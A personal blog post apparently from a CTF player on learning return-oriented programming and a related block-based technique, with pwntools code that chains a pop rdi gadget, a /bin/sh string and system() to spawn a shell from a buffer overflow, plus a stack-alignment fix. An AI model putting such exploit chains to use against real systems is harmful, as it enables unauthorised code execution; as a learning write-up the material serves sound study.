skip to content
HexPharoah Hexpharoah
Table of Contents

How I Learned ROP and BOP

When I first heard about Return-Oriented Programming, I thought it was magic. The idea that you could build a working exploit using code that already existed in the binary - without injecting anything - blew my mind. Then I tried to actually build one and it humbled me fast.

Here is what I have learned about ROP and BOP through practice.


Why I Needed to Learn This

Modern binaries have protections that block the classic approach:

  • DEP/NX - stack is not executable, so I cannot just inject shellcode
  • ASLR - addresses are randomized, so hardcoded addresses break
  • Stack canaries - detect overwrites before ret executes

ROP bypasses DEP completely because I am not executing new code. I am reusing existing instructions. That clicked for me and I dove in.


How ROP Works (How I Understand It)

I overwrite the return address on the stack. But instead of pointing it at my shellcode, I point it at a small snippet of existing code - a gadget - that ends with ret. When that gadget finishes and hits ret, it pops the next address off the stack. Which points to my next gadget. And so on.

I chain these tiny pieces together to do whatever I want.

A Simple Gadget

pop rdi
ret

This sets RDI (the first argument register on x86-64) to whatever value I put on the stack. Then it returns to the next gadget.

Another useful one:

xor eax, eax
ret

Sets EAX to zero. Simple but needed for syscall setup.

What I Can Build With Gadgets

By chaining enough of these, I can:

  • Set up registers with specific values
  • Call system functions like execve("/bin/sh")
  • Spawn a shell, read files, whatever I need

Even though each gadget does almost nothing individually, the chain becomes Turing-complete.


My First ROP Chain

I was working on a CTF binary with a buffer overflow and NX enabled. Classic setup. I used ROPgadget to find what I needed:

Terminal window
ROPgadget --binary vuln | grep "pop rdi"

Found pop rdi; ret at some address. Then I needed the address of /bin/sh in libc and the address of system(). My chain looked like:

from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
pop_rdi = 0x401234 # pop rdi; ret
bin_sh = libc.address + next(libc.search(b'/bin/sh'))
system = libc.symbols['system']
payload = b'A' * 72 # overflow to saved RIP
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

It did not work the first time. Took me hours to figure out why.


The Stack Alignment Problem

My exploit worked locally but crashed on the remote server. I was losing my mind until I learned about stack alignment.

The x86-64 ABI guarantees 16-byte alignment when a call instruction executes. libc’s system() uses SSE instructions (like movaps) that require this alignment. If RSP is not a multiple of 16, it crashes.

The fix is stupid simple - add an extra ret gadget before the call to system:

ret = elf.address + 0x401016 # just a ret instruction
payload = b'A' * 72
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret) # align the stack
payload += p64(system)

That extra ret pops RSP forward by 8 bytes, fixing the alignment. Once I understood this, I never forgot it.


What I Learned About BOP

After getting comfortable with ROP, I read about Basic Operation Programming (BOP). It extends the ROP concept by not limiting itself to gadgets that end in ret.

Instead of ret-based gadgets, BOP uses basic blocks - any sequence of instructions that ends in a branch (conditional jump, indirect call, whatever). This gives the attacker way more code fragments to work with.

Why BOP Matters

ROP has a weakness: some defenses specifically look for ret instructions or monitor return-based control flow. Control Flow Integrity (CFI) can restrict which addresses a ret can legally jump to.

BOP works around this by using transitions that CFI considers valid:

  • Virtual function table entries in C++ binaries
  • Indirect jumps through attacker-controlled values
  • Exception handlers
  • Computed branches

ROP vs BOP (How I See It)

AspectROPBOP
Gadget typeEnds in retAny basic block
Stack dependentYesNot necessarily
Bypasses CFISometimesBetter at it
ComplexityLowerHigher
Gadget availabilityLargeEven larger

I have not built a full BOP chain yet. It requires deep understanding of the target’s control-flow graph. But knowing it exists helps me understand where exploit development is headed.


Tools I Use for This

  • ROPgadget and Ropper - finding gadgets in binaries
  • pwntools - my main exploitation framework, makes chain building easy
  • Ghidra - understanding the binary and finding useful code paths
  • radare2 - quick gadget search and binary analysis
  • GDB + pwndbg - debugging my chains when they crash
  • Angr - symbolic execution when I need to find gadgets automatically

What Clicked for Me

  • ROP is just data on the stack. I am not writing code, I am writing addresses. The binary executes its own code in the order I choose.
  • Stack alignment is real. Always check if your target libc needs 16-byte alignment.
  • More gadgets = more power. Larger binaries and linked libraries give me more to work with.
  • BOP is the evolution. When defenses catch up to ROP, BOP-style techniques will dominate.
  • Practice on CTFs. I learned more from 10 CTF pwn challenges than from reading papers.

Where I Am Going Next

I want to:

  • Build a working BOP chain against a CFI-protected binary
  • Learn SROP (Sigreturn-Oriented Programming) for cases where gadgets are limited
  • Study JOP (Jump-Oriented Programming) as another ret-less technique
  • Get better at defeating ASLR through information leaks

Code reuse attacks taught me that attackers do not need to write new code. They take what already exists and creatively repurpose it. That is both terrifying and fascinating.


Until Next -- Tata Bye Bye!!
jaswanth